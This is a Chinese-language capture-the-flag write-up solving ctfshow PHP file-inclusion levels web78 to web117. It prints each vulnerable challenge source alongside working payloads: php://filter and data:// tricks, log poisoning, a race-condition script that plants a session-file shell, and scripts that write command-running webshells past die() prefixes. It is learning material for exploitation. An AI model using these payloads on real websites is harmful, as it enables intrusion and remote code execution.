CTFSHOW-文件包含

文章发布时间:

最后更新时间:

php中提供的文件包含函数

1
2
3
4
- include:找不到被包含的文件时只会产生警告,脚本将继续执行。
- include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
- require:找不到被包含的文件时会产生致命错误,并停止脚本。
- require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

image.png

  • 由于支持多种协议,所以也就为文件包含带来了多种攻击姿势

  • web78. 文件包含系列开始

    题面如下,考查最基本的php伪协议

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-16 10:52:43
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-16 10:54:20
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */


    if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
    }else{
    highlight_file(__FILE__);
    }
    1
    2
    3
    4
    1.php://filter  主要用于读取源码
    2.php://input 经常使用file_get_contents获取php://input内容
    3.data:// 执行命令
    4.file:// 访问本地文件系统

    所以就直接php://filter协议读取源码,目标猜测为flag.php。另外说一下include函数的特性,如果返回的内容为php代码,那么就会被执行;而如果未被识别为php代码,则会直接返回读取的内容。这也是为什么要用filter进行一个base64编码的原因

    1
    file=php://filter/read=convert.base64-encode/resource=flag.php
  • web79. 文件包含系列开始

    • 题面如下,对php关键词进行了一个替换

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:10:14
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 11:12:38
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      include($file);
      }else{
      highlight_file(__FILE__);
      }

      试了一下大小写绕不过去,那么就更换另一个支持数据流封装的协议——data://

      1
      file=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsYWcucGhwJyk7IA==
  • web80. 文件包含系列开始

    • 题面如下,过滤了php和data关键字

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 11:26:29
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      include($file);
      }else{
      highlight_file(__FILE__);
      }

      诶php伪协议对于php://input是支持大小写的,所以可以大小写绕过(前面题不行不知道为啥)

      image.png

  • web81.

    • 题面如下,这下:给我过滤了,也就是直接使用伪协议是不行了,看看有没有可利用的日志文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 15:51:31
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      include($file);
      }else{
      highlight_file(__FILE__);
      }

      题目的中间件为nginx,我们试着访问一下/var/log/nginx/access.log

      image.png{:height 282, :width 641}

      image.png

      可以利用,于是直接抓包忘日志里写shell即,之后再包含日志文件

      image.png

  • web82. session文件包含

    • 先看题面,过滤了.,所以日志包含也用不了

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 19:34:45
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);
      include($file);
      }else{
      highlight_file(__FILE__);
      }

      针对PHP 在文件上传session相关的信息

      image.png

      这个特点告诉我们可以通过POST方式利用session.upload_progress将shell写入一个session中,然后包含getshell 接下来需要解决的问题是:1. 如何创建这个session文件 2. 能创建,怎么知道session文件的位置

      针对PHP 5.4后 php.ini中的一些默认选项设置我们需要知道

      1
      2
      3
      4
      5
      1.session.upload_progress.enabled = on
      2.session.upload_progress.cleanup = on
      3.session.upload_progress.prefix = “upload_progress_”
      4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
      5.session.use_strict_mode=off

      关注最后一个设置,也就是说PHPSESSID值也为我们所控

      image.png

    • 此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值(注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session)

    • 这个关键信息同时解决了session文件创建和位置信息;只需要通过cookie传入文件名,POST传session.upload_progress对应的shell即可。然而,还有一个设置项session.upload_progress.cleanup = on不能忽略,这里就是说文件上传结束后,session即清楚,也就是session文件会被抹去,我们也就无法进行包含。这里就可以采用条件竞争的方式,再文件还未完全上传完时进行包含getshell

      image.png

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      # coding=gbk

      import threading
      import requests

      url = "http://b48c883b-c8c0-4d1b-8d3e-c4b8bf0ab158.challenge.ctf.show/"
      cookie = {'PHPSESSID': 'flag'}
      data = {
      "upload_progress_": 1,
      "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('nl fl0g.php'); ?>hacker"
      }

      def write(session):
      while True:
      r = session.post(url, cookies=cookie, data=data, files={'file': open('/Users/racerz/Desktop/fuzz.txt', 'r').read()})

      def read(session):
      while True:
      r = session.get(url+"?file=/tmp/sess_flag")
      print(r.status_code)
      if "hacker" in r.text:
      print(r.text)
      break

      session = requests.session()
      for i in range(10):
      threading.Thread(target=write, args=(session, )).start()
      read(session)
  • web83. 继续包含

    • 查看题面,可以看到首行多了warning

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 20:28:52
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */
      session_unset();
      session_destroy();

      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);

      include($file);
      }else{
      highlight_file(__FILE__);
      }

      查看一下session_destroy()

      image.png

      也就是说,仅需再调用一下session_start()即可恢复变量使用,不过脚本可以直接跑通

  • web84. 文件包含漏洞

    • 题面如下,在文件包含之前调用了系统命令删除文件,本质利用还是条件竞争

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 20:40:01
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);
      system("rm -rf /tmp/*");
      include($file);
      }else{
      highlight_file(__FILE__);
      }
  • web85. 继续包含

    • 题面如下,对包含的文件内容做了过滤,不能含有<,但是依然可以条件竞争绕过,其实就是上一个线程if判断通过,下一个线程直接进行了include操作,这里需要增大点read函数的线程数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 20:59:51
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */


      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);
      if(file_exists($file)){
      $content = file_get_contents($file);
      if(strpos($content, "<")>0){
      die("error");
      }
      include($file);
      }

      }else{
      highlight_file(__FILE__);
      }
  • web86. 继续秀

    • 题面如下,这题对include目录做了限制,条件竞争

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 21:20:43
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */
      define('还要秀?', dirname(__FILE__));
      set_include_path(还要秀?);
      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);
      include($file);


      }else{
      highlight_file(__FILE__);
      }
  • web87. 继续秀

    • 题面如下,这里通过file_put_contents()将字符串写入制定文件,针对urldecode()可以采用双编码绕过;而主要是后面的die将会导致整个php程序退出执行,而后面的shell无法成功利用

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-16 21:57:55
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */

      if(isset($_GET['file'])){
      $file = $_GET['file'];
      $content = $_POST['content'];
      $file = str_replace("php", "???", $file);
      $file = str_replace("data", "???", $file);
      $file = str_replace(":", "???", $file);
      $file = str_replace(".", "???", $file);
      file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


      }else{
      highlight_file(__FILE__);
      }

      新的知识点:[[谈一谈php://filter的妙用学习笔记]]

      这里我就用php://filter过滤器的特性来解决,先采用string.strip_tags滤掉标签,再用convert.base64-decode解码shell;直接用base64的话就需要再凑两个字节(前面是`phpdie``共6个有效字节)

      GET:
      file=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
      再经过双编码

      POST:
      content=PD9waHAgc3lzdGVtKCdubCBmbConKTsgPz4= //<?php system(‘nl fl*’); ?>

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      #coding=gbk

      from urllib.parse import quote
      import requests


      url = "http://d07e3b5f-56e3-4c61-90a5-9f0d4ea4f4e0.challenge.ctf.show/"
      file = "%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30"

      data = {
      "content": "PD9waHAgc3lzdGVtKCdubCBmbConKTsgPz4="
      }

      r = requests.post(url=(url+"?file="+file), data=data)
      print(r.text)

      result = requests.get(url+"shell.php").text
      print(result)
  • web88. 继续秀

    • 题面如下,可以看到没有过滤data,可以利用data协议

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-17 02:27:25
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */
      if(isset($_GET['file'])){
      $file = $_GET['file'];
      if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
      die("error");
      }
      include($file);
      }else{
      highlight_file(__FILE__);
      }
      1
      2
      file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7
      由于过滤了+和=,所以要去掉
  • web116. misc+lfi

    • 提示本地文件包含,直接带出源码

      image.png

    • 过滤了伪协议使用不了,试试直接包含

      image.png

  • web117

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: yu22x
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-01 18:16:59

      */
      highlight_file(__FILE__);
      error_reporting(0);
      function filter($x){
      if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
      die('too young too simple sometimes naive!');
      }
      }
      $file=$_GET['file'];
      $contents=$_POST['contents'];
      filter($file);
      file_put_contents($file, "<?php die();?>".$contents);

      虽然一些过滤器被ban了,但是php://filter还是可以用,我们找找其它可用的过滤器

      比如下面这个convert.iconv.*

      image.png

      所以针对我们要写的shell先经过编码,nnd没注意到utf给我过滤了

      1
      2
      3
      4
      5
      6
      7
      <?php
      $fp = fopen('php://output', 'w');
      stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
      fwrite($fp, "<\0?\0p\0h\0p\0 \0s\0y\0s\0t\0e\0m\0(\0'\0n\0l\0 \0f\0l\0*\0'\0)\0;\0 \0?\0>\0");
      fclose($fp);
      # system('nl fl*');
      ?>
    • 这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。可以看到反转再反转就可以回来,而限制代码只经过一次反转变的不可解析

      image.png

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      #coding=gbk

      from urllib.parse import quote
      import requests


      url = "http://3ef1d619-e0b0-4351-842d-8a093bbdf570.challenge.ctf.show/"
      file = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php"

      data = {
      "contents": r"?<hp pe@av(l_$OPTSd[tosa]t;)>?"
      }

      r = requests.post(url=(url+"?file="+file), data=data)
      print(r.text)

      result = requests.get(url+"shell.php").text
      print(result)